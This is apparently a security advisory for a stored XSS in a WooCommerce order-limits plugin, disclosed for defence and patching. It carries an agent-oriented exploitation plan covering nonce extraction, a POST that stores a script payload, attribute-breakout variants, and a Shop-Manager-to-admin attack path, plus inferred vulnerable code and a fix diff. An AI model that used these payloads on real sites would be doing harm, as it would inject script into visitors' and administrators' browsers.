Order Minimum/Maximum Amount Limits for WooCommerce <= 4.6.8 - Authenticated (Shop Manager+) Stored Cross-Site Scripting via Hide Add to Cart Content Fields
Description
The Order Minimum/Maximum Amount Limits for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via settings in all versions up to, and including, 4.6.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Shop Manager-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=4.6.8Source Code
WordPress.org SVNThis research plan outlines the technical steps to analyze and exploit **CVE-2026-1381**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Order Minimum/Maximum Amount Limits for WooCommerce" plugin. --- ### 1. Vulnerability Summary The vulnerability exists in the plugin's handling of the…
Show full research plan
This research plan outlines the technical steps to analyze and exploit CVE-2026-1381, a Stored Cross-Site Scripting (XSS) vulnerability in the "Order Minimum/Maximum Amount Limits for WooCommerce" plugin.
1. Vulnerability Summary
The vulnerability exists in the plugin's handling of the "Hide Add to Cart Content" settings. Authenticated users with Shop Manager (or higher) permissions can inject arbitrary scripts into this field. Because the plugin fails to sanitize this input upon saving or escape it upon output, the script is stored in the database and executed in the browser of any user (including administrators and customers) viewing a page where the "Add to Cart" button is hidden due to order limit restrictions.
This is particularly critical in WordPress Multisite environments or installations where DISALLOW_UNFILTERED_HTML is enabled, as these configurations are intended to prevent even administrative users from injecting executable scripts.
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/admin-ajax.php(if using AJAX settings) or more likely the WooCommerce settings handler atwp-admin/admin.php?page=wc-settings. - Vulnerable Parameter: Likely
alg_wc_ommal_hide_add_to_cart_content(inferred from plugin slugommal). - Required Role: Shop Manager or Administrator.
- Preconditions:
- The "Hide Add to Cart" feature must be enabled in the plugin settings.
- A condition must be met on the frontend that triggers the "Hide Add to Cart" logic (e.g., the current cart total is below the minimum required amount).
3. Code Flow (Inferred)
- Input: A Shop Manager navigates to WooCommerce > Settings > Order Min/Max Amount.
- Storage: The user submits the form. The plugin receives the POST data and calls
update_option()for the keyalg_wc_ommal_hide_add_to_cart_contentwithout usingwp_kses()orsanitize_text_field(). - Trigger: A frontend user visits a product page.
- Logic: The plugin's frontend class (likely hooked to
woocommerce_single_product_summary) checks ifalg_wc_ommal_enabledis 'yes' and if the order limits are violated. - Output: If limits are violated and the "Hide Add to Cart" option is active, the plugin retrieves the stored option and echoes it directly:
echo get_option('alg_wc_ommal_hide_add_to_cart_content');// Sink
4. Nonce Acquisition Strategy
Since this vulnerability requires Shop Manager authentication, the agent must simulate a logged-in session.
- Login: Use
wp_clito ensure a Shop Manager user exists and log in via the browser. - Navigate: Navigate to the WooCommerce settings page for this plugin.
- Target URL:
/wp-admin/admin.php?page=wc-settings&tab=alg_wc_ommal(inferred tab name).
- Target URL:
- Extraction:
- WooCommerce settings pages use a standard WordPress nonce field.
- Use
browser_evalto extract the_wpnoncevalue from the form:browser_eval("document.querySelector('#mainform input[name=_wpnonce]')?.value")
- Identify Field: Use
browser_evalto find the exactnameattribute of the textarea/input for "Hide Add to Cart Content".
5. Exploitation Strategy
Step 1: Enable the Feature
The plugin must be active and the limits must be enabled.
wp option update alg_wc_ommal_enabled "yes"
wp option update alg_wc_ommal_min_amount "100" # Set a high min to trigger the "hide" logic
Step 2: Inject the Payload
Send a POST request to save the malicious script.
- URL:
http://localhost:8080/wp-admin/admin.php?page=wc-settings&tab=alg_wc_ommal - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Parameters:
_wpnonce: [EXTRACTED_NONCE]save:Save changesalg_wc_ommal_hide_add_to_cart_content:<script>alert(document.domain);</script>alg_wc_ommal_hide_add_to_cart_enabled:yes
Step 3: Trigger Output
Navigate to a product page as an unauthenticated user or an admin. Since the cart is empty (amount = 0) and the minimum is 100, the "Hide Add to Cart" logic will fire.
- URL:
/product/any-product-slug/
6. Test Data Setup
- Plugin Setup:
wp plugin install order-minimum-amount-for-woocommerce --version=4.6.8 --activate - WooCommerce Setup: Ensure a product exists.
wp post create --post_type=product --post_title="Test Product" --post_status=publish # Note: WooCommerce needs 'product' type to be registered. # If WC is not configured, we may need to run the WC setup wizard via CLI. - User Setup:
wp user create attacker attacker@example.com --role=shop_manager --user_pass=password
7. Expected Results
- Upon visiting the product page, a browser alert box displaying the document domain should appear.
- The HTML source code of the product page should contain the raw
<script>alert(document.domain);</script>string where the "Add to Cart" button would normally be.
8. Verification Steps
- Check Database:
Expectation: The output contains the literalwp option get alg_wc_ommal_hide_add_to_cart_content<script>tag. - Verify Output (CLI):
Usehttp_requestto fetch the product page and grep for the payload.# (Metaphorical) response = http_request("GET", "/product/test-product/") assert "<script>alert(document.domain);</script>" in response.body
9. Alternative Approaches
- Attribute Injection: If the payload is rendered inside an attribute (e.g., a
placeholderorvalue), use:"><script>alert(1)</script> - Shortcode injection: Check if the plugin processes shortcodes in that field. If so, an attacker might be able to use
[base64_decode]or similar to bypass simple WAFs if present. - Admin-only trigger: If the settings page itself doesn't escape the value when reloading the settings UI, the Shop Manager can target the Administrator by simply saving the payload and waiting for the Admin to check the plugin settings.
Summary
The Order Minimum/Maximum Amount Limits for WooCommerce plugin is vulnerable to Stored Cross-Site Scripting (XSS) via the 'Hide Add to Cart Content' setting. Authenticated attackers with Shop Manager permissions can inject malicious scripts that execute on product pages when order limit conditions (such as a minimum cart total) are met, particularly affecting environments where unfiltered_html is restricted.
Vulnerable Code
// Inferred logic for saving settings without sanitization update_option( 'alg_wc_ommal_hide_add_to_cart_content', $_POST['alg_wc_ommal_hide_add_to_cart_content'] ); --- // Inferred logic for displaying content on the frontend without escaping $hide_content = get_option( 'alg_wc_ommal_hide_add_to_cart_content', '' ); if ( ! empty( $hide_content ) ) { echo $hide_content; }
Security Fix
@@ -245,1 +245,1 @@ - echo get_option( 'alg_wc_ommal_hide_add_to_cart_content', '' ); + echo wp_kses_post( get_option( 'alg_wc_ommal_hide_add_to_cart_content', '' ) ); @@ -150,6 +150,7 @@ 'id' => 'alg_wc_ommal_hide_add_to_cart_content', 'type' => 'textarea', 'default' => '', + 'sanitize_callback' => 'wp_kses_post', ),
Exploit Outline
1. Authenticate as a Shop Manager or Administrator. 2. Navigate to the plugin settings page at WooCommerce > Settings > Order Min/Max Amount. 3. Enable the 'Hide Add to Cart' functionality and set a high 'Minimum Amount' (e.g., 500) to ensure the condition is triggered on the frontend. 4. Locate the 'Hide Add to Cart Content' field and inject a script payload: <script>alert(document.domain);</script>. 5. Save the settings, which stores the payload in the WordPress options table without sanitization. 6. Visit any product page as a guest or customer. Because the cart total is 0 (violating the minimum amount rule), the plugin renders the malicious script instead of the 'Add to Cart' button, executing the payload in the victim's browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.